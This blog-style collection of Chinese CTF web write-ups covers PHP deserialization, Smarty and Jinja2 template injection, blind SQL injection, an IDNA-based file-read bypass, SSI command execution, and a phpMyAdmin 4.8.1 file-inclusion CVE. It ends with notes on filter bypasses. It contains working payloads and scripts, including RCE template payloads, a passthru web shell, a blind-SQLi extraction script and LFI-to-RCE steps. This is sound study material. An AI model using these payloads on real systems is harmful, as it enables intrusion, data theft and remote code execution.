0%

[NPUCTF2020]ReadlezPHP

F12源码有个链接href=”./time.php?source”,进去就是源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);



2022-04-21 01:26:26

很明显的反序列化题,核心代码是这里:

1
2
3
4
5
public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }

当前对象的属性在通过__destruct()魔术方法后赋给原本类的属性,所以我们可以先new一个,经过construct()后,对新对象的属性赋值,然后自然而然的就调用了__destruct()了
构造payload

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class HelloPhp
{
public $a;
public $b;
}
$c = new HelloPhp();
$c->a = 'phpinfo()';
$c->b = 'assert';
echo serialize($c);

#O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

直接传进去就是搜索flag就是了

[CISCN2019 华东南赛区]Web11

打开后环境貌似是可以显示本地ip的网页版工具

图片

图片

这里有个xff的提示,先放一边

图片

用Smarty构筑?我最开始以为是出题人名字,后来觉得眼熟才知道是php的一个模板,很明确了模板注入SSTI

注入类题目就肯定得找注入点啊!,结合xff这里提示,用hackbar改下ip

图片

果然ip变成了图上的ip,注入点找到了,根据网络上payload,确定是否是smarty注入顺便确定版本号

{$smarty.version}

图片

这里补充下一些payload的注意事项

一,漏洞确认(查看smarty的版本号):

1
{$smarty.version}

二,常规利用方式:(使用{php}{/php}标签来执行被包裹其中的php指令,smarty3弃用)

1
{php}{/php}

执行php指令,php7无法使用

1
<script language="php">phpinfo();</script>

三,静态方法

1
public function getStreamVariable($variable){ $_result = ''; $fp = fopen($variable, 'r+'); if ($fp) { while (!feof($fp) && ($current_line = fgets($fp)) !== false) { $_result .= $current_line; } fclose($fp); return $_result; } $smarty = isset($this->smarty) ? $this->smarty : $this; if ($smarty->error_unassigned) { throw new SmartyException('Undefined stream variable "' . $variable . '"'); } else { return null; } }

payload1:(if标签执行PHP命令)

1
2
3
{if phpinfo()}{/if}
{if system('ls')}{/if}
{if system('cat /flag')}{/if}

四,其他payload

1
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

有了以上资料,尝试查找flag

图片

最后在根目录找到了flag

我们通过一串代码来了解一下,它的漏洞为什么会产生。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

require_once('./smarty/libs/' . 'Smarty.class.php');

$smarty = new Smarty();

$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
//获取XFF

$smarty->display("string:".$ip);
//此处并不是以smart模板格式,而是以字符串形式,所以会解析我们的标签,也就是if,解析后把内容回显到页面上的相应位置
}

代码链接:https://www.jianshu.com/p/eb8d0137a7d3

[SUCTF 2019]Pythonginx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"



    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host



    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"

直接给了代码,审吧
urlparse模块主要是用于解析url中的参数  对url按照一定格式进行 拆分或拼接 

urlparse()把url拆分为6个部分,scheme(协议),netloc(域名),path(路径),params(可选参数),query(连接键值对),fragment(特殊锚),并且以元组形式返回。

这里代码应该是我们传入的url需要绕过前两个if判断,然后进入第三个if语句里去读取我们想要的信息。而三个if中判断条件都是相同的,不过提取host的方式却不同。

前两个判断 host 是否是 suctf.cc ,如果不是才能继续。然后第三个经过了 decode(‘utf-8’) 之后传进了 urlunsplit 函数,在第三个判断中又必须要等于 suctf.cc 才行。

所以首先不能让他为 suctf.cc,但是经过了 urlunsplit 后变成 suctf.cc。

该题的主要问题是在

1
h.encode('idna').decode('utf-8')

IDNA实际上是国际化域名
什么是IDN?

国际化域名(Internationalized Domain Name,IDN)又名特殊字符域名,是指部分或完全使用特殊文字或字母组成的互联网域名,包括中文、发育、阿拉伯语、希伯来语或拉丁字母等非英文字母,这些文字经过多字节万国码编码而成。在域名系统中,国际化域名使用punycode转写并以ASCII字符串存储。

℆这个字符,如果使用python3进行idna编码的话

print(‘℆’.encode(‘idna’))

结果

b’c/u’

如果再使用utf-8进行解码的话

print(b’c/u’.decode(‘utf-8’))

结果

c/u

所以通过这个来绕过

又因为在F12前端源码中有一个Nginx提示,考虑是Nginx的配置信息

Nginx重要配置文件

1
2
3
4
5
6
7
8
配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf

所以可以构造:

1
file://suctf.c℆sr/local/nginx/conf/nginx.conf

得到flag的位置,直接读取

1
file://suctf.c%E2%84%86sr/fffffflag

也有另外一种方法,因为我们主要是要绕过那三个if判断,前俩个不能为suctf.cc,第三个通过inda编码再utf-8解码后为suctf.cc,直接写个jio本爆破下,有没有能代替后面cc的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from urllib.parse import urlparse, urlunsplit, urlsplit
from urllib import parse



def get_unicode():
    for x in range(65536):
        uni = chr(x)
        url = "http://suctf.c{}".format(uni)
        try:
            if getUrl(url):
                print("str: " + uni + ' unicode: \\u' + str(hex(x))[2:])
        except:
            pass



def getUrl(url):
    url = url
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return False
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return False
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return True
    else:
        return False



if __name__ == '__main__':
    get_unicode()

得到以下可以代替c的字符

1
2
3
4
5
6
7
8
str: ℂ unicode: \u2102
str: ℭ unicode: \u212d
str: Ⅽ unicode: \u216d
str: ⅽ unicode: \u217d
str: Ⓒ unicode: \u24b8
str: ⓒ unicode: \u24d2
str: C unicode: \uff23
str: c unicode: \uff43

构造payload

1
file://suctf.cℂ/usr/local/nginx/conf/nginx.conf

接下来就是直接去读

[极客大挑战 2019]FinalSQL

题目进去是提示盲注的,按照常规流程在用户名和密码这里进行fuzz,发现大多数其实都被过滤了,然后页面上是有五个图标的,点到第五个提示还有个被隐藏起来让我们找到

但是点击图标的时候url是会发生变化的,出现了一个id的参数,由于是提示了盲注,我们就异或试下

1
2
?id=1^1
?id=1^0

图片

图片

异或的简单使用:

1
1^1=0,0^0=0,1^0=1

构造下payload:
另外这里id进行fuzz后,发现空格被过滤所以使用括号来绕

1
?id=1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),1,1))=105)^1

图片

可行,由此来构造脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import time
import requests

url = 'http://790c42f5-ecf5-49c5-b77e-1f56d50e8669.node4.buuoj.cn:81/search.php?id=1'
data = {"id":""}
column = ""
for i in range(1,1000):
    time.sleep(0.06)
    low = 32
    high = 128
    mid = (low + high) // 2
    while(low < high):
        #库名
        #data["id"] = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" % (i,mid)
        #表名
        #data["id"] = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)^1" % (i,mid)
        #列名
        #data["id"] = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1" % (i,mid)
        #内容
        data["id"] = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i,mid)
        r = requests.get(url,params=data)
        time.sleep(0.04)
        print(low,high,mid,":")
        if "Click" in r.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    if(mid == 32 or mid == 127):
        break
    column += chr(mid)
    print(column)

print("All:",column)

用了二分法优化下效率,一会儿就出了

[0CTF 2016]piapiapia

(反序列化字符逃逸)

初以为是sql注入,随便尝试了下顺便在F12里找了下没找到任何信息,进行扫描,发现有WWW.zip源码泄露,在config.php里发现了flag,应该知道flag要去访问config.php,接着就开始代码审计

可以发现在class.php中有本题关键的两个类和相关函数,其中的函数写的较为全面(增改查都涉及)、认真(变量有单引号保护且过滤了单引号和一些关键词),若想注入恐怕需要费点功夫,其余的php文件亮点不多、比较平常,但还有三个点需要注意

一是update.php里有一个序列化操作,与之对应的有一个反序列化操作,在注入可能不好用的情况下,这很有可能是本题的关键

图片

图片

二是update.php里对传入的变量做了简单的检查,

1
2
3
4
5
6
7
8
9
10
11
12
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');

这里比较有意思的是,前两个是没有按相应规则匹配到文本则执行die()函数,也就是说无论preg_match()返回值为0或null或false皆会die出,而第三个检查则不是这样,是如果匹配到非字母数字或nickname长度大于10则die出,这里我们就可以操作了,控制nickname为一个数组,这样的话两个判断条件为false或NULL,故不会die,所以可以判断这里是出题人故意设计的,可以从控制nickname这里触发
三是有profile.php的功能是展示文件,说是展示,实为读取

1
2
3
4
5
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));

这里的file_get_contents是唯一可以读取文件的点,所以要从这里去读取config.php.大体思路是有的
update.php中有一个$profile数组变量,这个数组里有$phone, $email, $nickname, $photo几个变量,序列化后以profile字段存入数据库,而我们如果能控制photo变量为”config.php”,则能在访问profile.php时获得base64编码之后的config.php源码

整理Pop链:

1
profile.php的file_get_contents =》 show_profile() =》 class.php里的select() =》 数据库 =》 class.php里的update() =》 update_profile() =》 update.php里调用传参。

所以目前最主要的是去控制$photo这个参数

1
2
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));

这里看了WP才知道,是要用反序列化的字符逃逸
首先要明确一个知识点,php反序列化中值的字符读取多少是由表示长度的数字来控制,只要整个字符串的前一部分能够反序列化,剩余部分会被丢弃

举个例子

图片

图片

以上是正常序列化

图片

原来的字符串Northind内被填充了几个字符串,先是 “”” 三个双引号,再是正常结尾时需要有的 “;} 三个字符,在PHP进行反序列化时,由字符串初始位置向后读取8个字符,即使遇到字符串分解符单双引号也会继续向下读,此处读取到 North””” ,而后遇到了正常的结束符,达成了正常反序列化的条件,反序列化结束,后面的 ind”;}  几个字符均被丢弃

这里借大佬的一个例子https://www.cnblogs.com/litlife/p/11690918.html

图片
图片

图片

这里的username我们可控,bad_str函数会把反序列化后的字符串中的单引号替换“no”,我们做个分析,尝试着修改该用户的签名,用到的当然是本题的知识点

我们要记住一点,我们的字符串是在某变量被反序列化得到的字符串受某函数的所谓过滤处理后得到的,而且经过处理之后,字符串的某一部分会加长,但描述其长度的数字没有改变(该数字由反序列化时变量的属性决定),就有可能导致PHP在按该数字读取相应长度字符串后,本来属于该字符串的内容逃逸出了该字符串的管辖范围,轻则反序列化失败,重则自成一家成为一个独立于原字符串的变量,若是这个独立出来的变量末尾是个 “;} ,则可能会导致反序列化成功结束,后面的内容也就被丢弃了。此处能逃逸的字符串的长度由经过滤后字符串增加的长度决定,如上图第四个语句,@号内就是我们要逃逸出来的字符串,长度为33,百分号内为我们输入的username变量,要想让@号内的字符串逃逸,就需要原来的字符串增长33,这样的话@号内的字符串被挤出,username的正常部分和增长的部分正好被PHP解析为一整个变量,@号内的内容就被解析为一个独立的变量,而且因为它的最后有 “;} ,使反序列化成功结束。

为了增长33,我们需要username里加入33个单引号,它们会被替换为33个no,使长度增加33,由此以来,上图中x的值也可以确定了,输入的username即为Northind’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’”;i:1;s:18:”Today is Northind!”;},x为它的长度(74),所以我们最后得到的字符串为:

a:2:{i:0;s:74:”Northind’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’”(注意最后这里是个双引号);i:1;s:18:”Today is Northind!”;};i:1;s:15:”Today is Mondy!”;}

图片

我们可以看到,在这个反序列化字符串被过滤后,里面的单引号全部被替换为“no”,使”Northind”+”no”*33的长度之和等于74,配合上我们传入的”,满足PHP反序列化的条件之一,后面的”;i:1;s:18:”Today is Northind!”;}先闭合了一个变量的正确格式,又写入了一个变量正确格式,最后闭合了一个反序列化操作。该挤出的被挤出逃逸了,该丢弃的丢弃了。

实际传个username变量进去看看

图片

成功了。回到本题,因为要用到序列化字符逃逸,肯定要先把变量序列化,再进行过滤对应字符,过滤过程中把对应字符替换成长度更长的字符导致长度加长,引起逃逸,在class.php中可以看到

1
2
3
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);

只有传入where时替换替换为hacker才能让长度加一否则长度不变
接着来分析,目标变量是$profile,结合之前的那个数组绕过,举一个例子:

1
a:4:{s:5:"phone";s:11:"66666666666";s:5:"email";s:10:"111@qq.com";s:8:"nickname";a:1:{i:0;s:5:"hanzo";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}

因为要把phpoto改为config.php,先把目标payload给构造了

1
a:4:{s:5:"phone";s:11:"66666666666";s:5:"email";s:10:"111@qq.com";s:8:"nickname";a:1:{i:0;s:5:hanzo";}s:5:"photo";s:10:"config.php";};}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}

要逃逸的部分为

1
";}s:5:"photo";s:10:"config.php";}

长度为34,所以需要在nickname[0]里添加34个where才能成功逃逸
目标字符串

1
a:4:{s:5:"phone";s:11:"66666666666";s:5:"email";s:10:"111@qq.com";s:8:%nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:10:"config.php";}%;}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}

尝试抓包改参数
图片

上传成功,报错是因为nickname是数组形式,然后打开图片解码base64就行(做了好久终于会了!)

[BJDCTF2020]EasySearch

打开环境一个登陆页面,需要双写用户名进行登录,以为是sql注入,随便尝试并没有效果,扫一下,发现了swp文件,获得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content); 
}
    header("Content-Type: text/html;charset=utf-8");
***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
***
    }
***
?>

其中get_hash()函数限制了password值经过MD5加密后的前六位值等于6d0bc1,然后在public目录下创建shtml文件,并以get_hash()函数返回值作为文件名,将POST方式传入的变量username的值写入文件中
写个python3脚本,爆破下md5加密后前六位为6d0bc1的密码:

1
2
3
4
5
6
7
8
import hashlib

for i in range(10000000):
    a = hashlib.md5(str(i).encode('utf-8')).hexdigest()

    if a[0:6] == '6d0bc1':
        print(i)
        print(a)

i的范围不用这么大,逐渐增加数量级爆破就行
获得了三个答案,随便取一使用

1
2
3
4
5
6
2020666
6d0bc1153791aa2b4e18b4f344f26ab4
2305004
6d0bc1ec71a9b814677b85e3ac9c3d40
9162671
6d0bc11ea877b37d694b38ba8a45b19c

随便取一登陆,成功后在bp里发现隐藏url
图片

进去后能发现是登陆后的一些个人信息但是url的文件后缀是shtml引起了怀疑

查阅资料可以知道是shtml文件代表服务器开启了SSI和CGI支持,可以使用一些命令执行

参考资料

在用户名这里进行注入,使用payload

1
<!--#exec cmd=”id” -->

访问shtml回显为当前用户的id,证明命令可以成功执行,查到flag在上一级目录里,构造payload

1
username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&password=2020666

访问即是flag
Apache SSI 远程命令执行漏洞,参考https://cloud.tencent.com/developer/article/1540513

[GYCTF2020]FlaskApp

SSTI

进入环境是一个用flask写的一个base64加解密在线工具,有一个加密和解密页面,按照常见套路找一下,没其他东西,猜测是在加密页面对payload进行加密,在解密页面解密后执行payload

因为之前做python的题目大多数都是SSTI,这次也直接用14进行尝试

图片

很明显存在SSTI,随后在解密页面随意输入也能弹出是jinja框架

图片

也能弹出一部分源码

1
2
3
4
5
6
7
8
9
10
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res =  render_template_string(tmp)    # 模板渲染

很明显这里是存在waf的,应该会过滤某些关键词,然后重定向到解密页面
按照这篇文章

https://blog.csdn.net/qq_44657899/article/details/104307948#comments_19939266

直接跑payload

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()") }}{% endif %}{% endfor %}

在添加命令即可。
图片

很明显waf过滤了,这种时候也只能去看看源码app.py了

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}

python3下已经没有file了,所以是直接用open。
图片

1
2
3
4
5
6
def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request",
"subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1

flag,os,system等被过滤了,那就采用字符串拼接吧

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

os.listdir() 方法用于返回指定的文件夹包含的文件或文件夹的名字的列表。图片

发现了this_is_the_flag.txt,因为waf也过滤了flag,还是采用拼接

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}

Python的切片也行

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

[::-1]来进行倒置。

这里做到一道ctf题是从这个CVE出发的,跟着网上大佬专门做一个CVE的复现,主要是代码审计
漏洞详情:
范围
phpmyadmin 4.8.0和4.8.1
原理
首先在index.php 50-63行
$target_blacklist = array (
‘import.php’, ‘export.php’
);

// If we have a valid target, let’s load that script instead
if (! empty($_REQUEST[‘target’])
&& is_string($_REQUEST[‘target’])
&& ! preg_match(‘/^index/‘, $_REQUEST[‘target’])
&& ! in_array($_REQUEST[‘target’], $target_blacklist)
&& Core::checkPageValidity($_REQUEST[‘target’])
) {
include $_REQUEST[‘target’];
exit;
}
审计过后可以知道要想包含target的内容,必须满足五个条件
target不为空
target为字符串
target不以index开头
target不在黑名单里
target满足Core::checkPageValidity
此处代码在Core.php 443-476行
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}

    if (in_array($page, $whitelist)) {
        return true;
    }

    $_page = mb_substr(
        $page,
        0,
        mb_strpos($page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
        return true;
    }

    $_page = urldecode($page);
    $_page = mb_substr(
        $_page,
        0,
        mb_strpos($_page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
        return true;
    }

    return false;
}

如果白名单的内容没有在开始的时候没有传参进来,就会被赋值为self::$goto_whitelist
public static $goto_whitelist = array(
‘db_datadict.php’,
‘db_sql.php’,
‘db_events.php’,
‘db_export.php’,
‘db_importdocsql.php’,
‘db_multi_table_query.php’,
‘db_structure.php’,
‘db_import.php’,
‘db_operations.php’,
‘db_search.php’,
‘db_routines.php’,
‘export.php’,
‘import.php’,
‘index.php’,
‘pdf_pages.php’,
‘pdf_schema.php’,
‘server_binlog.php’,
‘server_collations.php’,
‘server_databases.php’,
‘server_engines.php’,
‘server_export.php’,
‘server_import.php’,
‘server_privileges.php’,
‘server_sql.php’,
‘server_status.php’,
‘server_status_advisor.php’,
‘server_status_monitor.php’,
‘server_status_queries.php’,
‘server_status_variables.php’,
‘server_variables.php’,
‘sql.php’,
‘tbl_addfield.php’,
‘tbl_change.php’,
‘tbl_create.php’,
‘tbl_import.php’,
‘tbl_indexes.php’,
‘tbl_sql.php’,
‘tbl_export.php’,
‘tbl_operations.php’,
‘tbl_structure.php’,
‘tbl_relation.php’,
‘tbl_replace.php’,
‘tbl_row_action.php’,
‘tbl_select.php’,
‘tbl_zoom_select.php’,
‘transformation_overview.php’,
‘transformation_wrapper.php’,
‘user_password.php’,
);
其实就是一堆内置的php页面,如果page在白名单里就返回true,但是我们一般访问或者说传参的时候并不只是一个单纯的index.php(此处举例),更多的是index.php?id=1类似这种带参数的,所以带了一点判断
$_page = mb_substr(
$page,
0,
mb_strpos($page . ‘?’, ‘?’)
);
if (in_array($_page, $whitelist)) {
return true;
}

    $_page = urldecode($page);
    $_page = mb_substr(
        $_page,
        0,
        mb_strpos($_page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
        return true;
    }

    return false;

函数作用:
mb_strpos ( string $haystack , string $needle [, int $offset = 0 [, string $encoding = mb_internal_encoding() ]] ) : int
查找 string 在一个 string 中首次出现的位置。基于字符数执行一个多字节安全的 strpos() 操作。 第一个字符的位置是 0,第二个字符的位置是 1,以此类推。
$_page是取出$page问号前的东西,是考虑到target有参数的情况,只要$_page在白名单中,就返回true,而且还考虑了url编码的情况,所以如果这步判断为false,下一步就进行url解码
$_page = urldecode($page);

    $_page = mb_substr(
        $_page,
        0,
        mb_strpos($_page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
        return true;
    }

所以传入二次编码的内容,会让checkpagevalidity()这个函数一开始是db_datadict.php%3f,又一次解码后变成db_datadict.php?,就符合了?前内容在白名单中的要求返回true,但是index.php中$_REQUEST[‘target’]仍然是db_datadict.php%3f而且会被include包含,通过目录穿越,就可以造成任意文件包含

这道题就是这个cve的一种利用方式,
比如进行任意文件包含
?target=db_datadict.php%253f../../../../../../../../Windows/DATE.ini查看系统时间
任意代码执行:
比如包含数据库文件
在sql语句查询在数据库路径
show global variables like “%datadir%”;
向数据库写入php代码
create database rce;
use rce;
create table rce(code varchar(100));
insert into rce(code) values(““);

随后包含即可
?target=db_datadict.php%253f../../../../../../../MySQL/data/rce/rce.MYD

bypass information_schema

一般而言在常规的sql注入中,我们在查询表名时,都会使用information_schema这个库,但是waf都会把这个给禁了,所以我们要尝试其他方法(看了大佬的wp,进行总结)

bypass之前先了解下information_schema这个库的作用:

information_schema简单来说无非就是获取到table_schema,table_name,column_name

1
简单来说,这个库在mysql中就是个信息数据库,它保存着mysql服务器所维护的所有其他数据库的信息,包括了数据库名,表名,字段名等。

Mysql5.7的新特性

1
由于performance_schema过于发杂,所以mysql在5.7版本中新增了sys schemma,基础数据来自于performance_chema和information_schema两个库,本身数据库不存储数据。

sys.schema_auto_increment_columns
可以知道的是,我们在设计数据库时,比如说id这样的数据都是呈自增的的数字,那么我们可以发现一个注入中在mysql默认情况下可以替代information_schema库的方法

1
chema_auto_increment_columns,该视图的作用简单来说就是用来对表自增ID的监控。

比如说建立了security和fortest这两个库,来熟悉下shcema_auto_increment_columns的结构组成还有特性
# fortest库

data 表存在自增id

no_a_i_table 表不存在自增id

test 表存在自增id

# security库

emails,referers,uagents,users

图片

可以发现,fortest库中的no_a_i_table并不在这里存在,然而其他非系统库的表信息全部在这里。根据前面介绍的schema_auto_increment_columns视图的作用,也可以发现我们可以通过该视图获取数据库的表名信息,也就是说找到了一种可以替代information_schema在注入中的作用的方法

那如果没有设置自增的数据呢?翻阅文档可以发现另外一个库

schema_table_statistics_with_buffer,x$schema_table_statistics_with_buffer

1
查询表的统计信息,其中还包括InnoDB缓冲池统计信息,默认情况下按照增删改查操作的总表I/O延迟时间(执行时间,即也可以理解为是存在最多表I/O争用的表)降序排序,数据来源:performance_schema.table_io_waits_summary_by_table、sys.x$ps_schema_table_statistics_io、sys.x$innodb_buffer_stats_by_table

sys.schema_table_statistics_with_buffer
可以看到,在上一个视图中并没有出现的表名在这里出现了。

图片

# sys.x$schema_table_statistics_with_buffer.

图片

上面的库都可以让我们获取数据库中表名信息,但并没有找到类似information_schema中的columns,也就是目前我们并不能获取数据

join

常见ctf思路,利用join进行无列名注入

join…using(xx)

以上文的环境为例,这里waf会把information_schema完全过滤

1
2
3
4
5
6
# schema_auto_increment_columns

?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+

# schema_table_statistics_with_buffer
?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+

其他的都是类似的
获取列名

1
2
3
4
5
6
# 获取第一列的列名

?id=-1' union all select*from (select * from users as a join users b)c--+

# 获取次列及后续列名
?id=-1' union all select*from (select * from users as a join users b using(id,username))c--+

无列名注入

顾名思义就是在不知道列名的情况下,进行sql注入

在 mysql => 5 的版本中存在一个名为 information_schema 的库,里面记录着 mysql 中所有表的结构。通常,在 mysql sqli 中,我们会通过此库中的表去获取其他表的结构,也就是表名、列名等。但是这个库经常被 WAF 过滤

假设我们通过暴力破解或者其他手段得到了表名,但是没有列名

1
在 information_schema 中,除了 SCHEMATA、TABLES、COLUMNS 有表信息外,高版本的 mysql 中,还有 INNODB_TABLES 及 INNODB_COLUMNS 中记录着表结构。

使用条件&方法
无列名注入主要是适用于已经获取到数据表,但无法查询列的情况下,在大多数 CTF 题目中,information_schema 库被过滤,使用这种方法获取列名。

无列名注入的原理其实很简单,类似于将我们不知道的列名进行取别名操作,在取别名的同时进行数据查询,所以,如果我们查询的字段多于数据表中列的时候,就会出现报错。

不使用表名查询

正常的SQL查询:

1
select * from `admin`;

图片

其中列名为id,name,password,使用union查询

1
select 1,2,3 union select * from admin;

图片

如图,我们的列名被替换为了对应的数字。也就是说,我们可以继续数字来对应列,如 3 对应了表里面的 password:

1
select `3` from (select 1,2,3 union select * from admin)a;

图片

末尾的 a 可以是任意字符,用于命名。

当然,多数情况下,会被过滤。当 不能使用的时候,使用别名来代替

1
select b from (select 1,2,3 as b union select * from admin)a;

图片

同时查询多个列:

1
select concat(`2`,0x2d,`3`) from (select 1,2,3 union select * from admin)a limit 1,3;

图片

简而言之,可以通过任意命名进入该表,然后使用 SELECT 查询这些字段中的任何已知值

总结下目前遇到的题目解法,大多数都直接用大佬的WP或者总结中一些trick,做个记录而已,有新的会更新的

命令执行:

过滤cat等关键词

  • 代替
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    more:一页一页的显示档案内容
    less:与 more 类似
    head:查看头几行
    tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
    tail:查看尾几行
    nl:显示的时候,顺便输出行号
    od:以二进制的方式读取档案内容
    vi:一种编辑器,这个也可以查看
    vim:一种编辑器,这个也可以查看
    sort:可以查看
    uniq:可以查看
    file -f:报错出具体内容
    sh /flag 2>%261  //报错出文件内容
  • 使用转义符
    1
    2
    ca\t /fl\ag
    cat fl''ag
    /与\效果一样,’’和””效果一样
  • 内联执行绕过
    拼接
1
1;a=fl;b=ag.php;cat$IFS$a$b

在linux里$和PHP中的`一个作用,我们也可以这样

1
2
